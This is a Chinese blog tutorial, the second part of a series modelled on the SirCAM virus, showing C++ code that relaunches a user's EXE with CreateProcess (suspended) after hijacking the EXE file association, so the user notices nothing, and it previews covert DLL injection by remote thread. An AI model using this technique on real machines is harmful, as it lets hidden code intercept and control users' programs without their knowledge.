仿照SirCAM病毒控制EXE进程(2)

类别:VC语言 点击:0 评论:0 推荐:
 

 

仿照SirCAM病毒控制EXE进程(2)

 

Chapter

 

 

2

 

利用得到的EXE启动参数创建进程

 

 

既然传进来的”%1” %*实际上是用户启动的EXE文件的路径 + 执行参数,那么我们得到后,就依样画葫芦,真的创建这个进程,让用户感觉不出来实际上是先到我们这里绕了一圈。

代码如下:

   //========================== 3 ==============================

   //

   // 执行用户要的代码:

   //

   DWORD dwInProcessId = 0;

   dwInProcessId = GetCurrentProcessId(); // 默认赋为自己的进程的ID值

   int nLengthOfCmd = lstrlen(lpCmdLine);

   if( nLengthOfCmd > 0 )

   {

          //======================= 3.1 =======================

          //

          // 来执行用户的命令行:

          //

 

          STARTUPINFO sIfo;

          PROCESS_INFORMATION pInfo;

 

          ZeroMemory( &sIfo, sizeof(sIfo) );

          sIfo.cb = sizeof(sIfo);

          ZeroMemory( &pInfo, sizeof(pInfo) );

 

          // Start the child process.

          HRESULT hResultEx = S_OK;

          // CreateProcess之时返回一个BOOL值,如果非0,说明成功,

          // 如果是0,表明失败,用GetLastError查看失败原因:

          hResultEx =

                 CreateProcess( NULL, // No module name (use command line).

                 _bstr_t(lpCmdLine), // Command line.

                 NULL,             // Process handle not inheritable.

                 NULL,             // Thread handle not inheritable.

                 FALSE,            // Set handle inheritance to FALSE.

                 CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED,

                                               // creation flags.

                 NULL,             // Use parent's environment block.

                 NULL,             // Use parent's starting directory.

                 &sIfo,            // Pointer to STARTUPINFO structure.

                 &pInfo );         // Pointer to PROCESS_INFORMATION structure.

 

          // 检查CreateProcess的返回值:

          if( hResultEx != 0 )// Success

          {

                 dwInProcessId = pInfo.dwProcessId; // 既然新进程创建成功,保存它的ProcessId

          }

          else // Failed

          {

                 //----------------------------------

                 //

                 // 看错误信息:

                 //

                 LPVOID lpMsgBuf;

                 FormatMessage(

                        FORMAT_MESSAGE_ALLOCATE_BUFFER |

                        FORMAT_MESSAGE_FROM_SYSTEM |

                        FORMAT_MESSAGE_IGNORE_INSERTS,

                        NULL,

                        GetLastError(), // 找到我们的错误

                        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language

                        (LPTSTR) &lpMsgBuf,

                        0,

                        NULL

                 );

 

                 LogEventEx(EVENTLOG_INFORMATION_TYPE, (LPCTSTR)lpMsgBuf);

 

                 // Free the buffer.

                 LocalFree( lpMsgBuf );

                 //

                 //----------------------------------

          }

          //

          //======================= 3.1 ==============================

   }

   else

   {

          // 如果本程序没有输入参数,就把InjectProcess.dll嵌入到自己进程中

          // 这时dwInProcessId就是自己主进程的ID

   }

 

怎么样,用户是不是什么也不知道,他双击运行的、从命令行运行的EXE命令都一如往昔。

但是这样就算完了吗?

既然进程尽在我们的掌握之中,那么有什么我们做不到的呢?!

接下来,我们将用远程线程插入DLL的方法来把我们的DLL注入到用户的进程的空间中,我们的DllMain将首先被执行。这个DllMain中可以写些什么呢,你发挥一下想象力吧!请看下回分解。

                               -----To be continued------

本文地址:http://com.8s8s.com/it/it3178.htm